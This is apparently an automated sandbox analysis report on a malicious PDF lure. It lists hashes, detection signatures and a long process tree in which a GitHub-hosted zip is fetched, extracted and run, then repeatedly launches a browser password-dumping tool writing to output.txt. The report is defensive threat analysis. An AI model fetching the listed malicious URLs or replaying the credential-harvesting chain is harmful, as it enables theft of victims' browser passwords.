Edit tour

Windows Analysis Report
Reversed order 24-25.pdf

Overview

General Information

Sample name:	Reversed order 24-25.pdf
Analysis ID:	1591540
MD5:	b5f2ed6a5daa6e4c21adf83e40853ecf
SHA1:	514e66f11d8c1a6ed644a82499e2b59315ee9daa
SHA256:	42c1a7d947af73d5843721b690d12f68c3378c878edf4425ce1b3e8a9af56986
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected landing page (webpage, office document or email)

Clickable URLs found in PDF pointing to potentially malicious files

Downloads suspicious files via Chrome

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to harvest and steal browser information (history, passwords, etc)

Yara detected WebBrowserPassView password recovery tool

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTML body contains password input but no form action

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Too many similar processes found

Uses SMTP (mail sending)

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7680 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Reversed order 24-25.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7864 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8064 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1668,i,10576032088351442596,11670863866323288615,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 8652 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2004,i,470050492162983817,17432181948890378544,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

unarchiver.exe (PID: 8508 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Reversed order 24-25.zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 8544 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\giv5wpek.rbk" "C:\Users\user\Downloads\Reversed order 24-25.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1272 cmdline: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Reversed order 24-25.exe (PID: 8624 cmdline: "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe" MD5: B7DE28D4862B78D70CC0E6234049B842)

cmd.exe (PID: 8636 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 7736 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

chrome.exe (PID: 7284 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7780 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1984,i,1009906333023081742,3972239843307581184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 8188 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 8120 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 8268 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 5004 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 3796 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 8016 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 2476 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 8576 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 1608 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 8176 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 3060 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 5312 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 4312 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 5956 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 8048 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 7668 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 7664 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 7460 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 7740 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 404 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 7728 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 7016 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 3992 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 8708 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 7700 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 8644 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 7976 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 4820 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 5184 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 7676 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 2936 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 1276 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 2140 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 4456 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 7948 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 1780 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 8056 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 5012 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 7964 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 7696 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 2448 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 2840 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 7992 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 6712 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 8304 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 2164 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 8948 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 4500 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 9184 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 9592 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 6812 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 11048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6008 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2920 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7152 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 4556 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 1344 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chrom.exe (PID: 5124 cmdline: .\Chrom.exe /stext .\output.txt MD5: 2024EA60DA870A221DB260482117258B)

cmd.exe (PID: 5196 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2312 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7116 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5676 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4308 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 9224 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 9300 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 9412 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 9480 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 9536 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 9604 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Conhost.exe (PID: 9560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 11116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 11164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 1704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 2872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 8068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 11020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Reversed order 24-25.exe (PID: 6392 cmdline: "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe" MD5: B7DE28D4862B78D70CC0E6234049B842)

chrome.exe (PID: 9292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 9320 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\windown.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

